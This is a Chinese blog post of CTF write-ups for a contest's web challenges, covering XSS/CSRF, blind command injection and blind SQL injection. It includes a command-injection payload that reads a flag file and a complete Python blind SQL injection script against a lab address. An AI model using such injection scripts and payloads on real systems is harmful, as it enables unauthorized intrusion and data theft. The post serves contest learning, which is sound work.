前记

打完比赛后一直在享受最后的假期……就没迅速写题解= =，不过这次web的难度不是很大，除了ambulong大佬的xss+csrf的题= =，所以我也就写的很随意了……

应该不是XSS

向来前端题就是我的软肋，这次还是没做出来，挺遗憾的
后面有些眉目的时候我的公网ip崩了，导致没能继续做下去……
希望以后可以提高xss和csrf类型题目的能力吧
非预期:`http://forum.91ctf.com/index.php/group/topic/id-37`
官方解:`http://forum.91ctf.com/index.php/group/topic/id-39`

PING

盲打rce，我还是利用了ceye，加上以前有所分析，所以这里就不赘述了，发现官方题解和自己的类似
我写过的盲打rce：`http://skysec.top/2017/12/29/Time-Based-RCE/`
这题的题解:`http://forum.91ctf.com/index.php/group/topic/id-40`
我最后的payload：`cat ./dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php | cut -c 1`

进击的盲注

听说有文件泄露`index.txt`
做的时候也没发现……直到getshell了才发现
直接附上脚本，不是很难的盲注

```
import requests
import string
url = "http://192.168.5.50/index.php"
flag = ""
for i in range(1,1270):
    payload = flag
    for j in "0123456789"+string.letters+"!@#$^&*()==":
        data = {
                "username":"admin' and password like binary 'dVAxMEBkX25Fdy5waHA%s%%'#"%(payload+j),
                "password":"123"
        }

        print data
        r = requests.post(url=url,data=data)
        if "password error" in r.content:
            flag += j
            print flag
            break
```

后面就是官方题解的条件竞争了：`http://forum.91ctf.com/index.php/group/topic/id-38`
但是强烈建议以后尽量少出条件竞争的题吧……
实在是太卡了~~~

参考连接：
https://skysec.top/2018/02/27/2018%E5%AE%89%E6%81%92%E6%9D%AF2%E6%9C%88%E6%9C%88%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/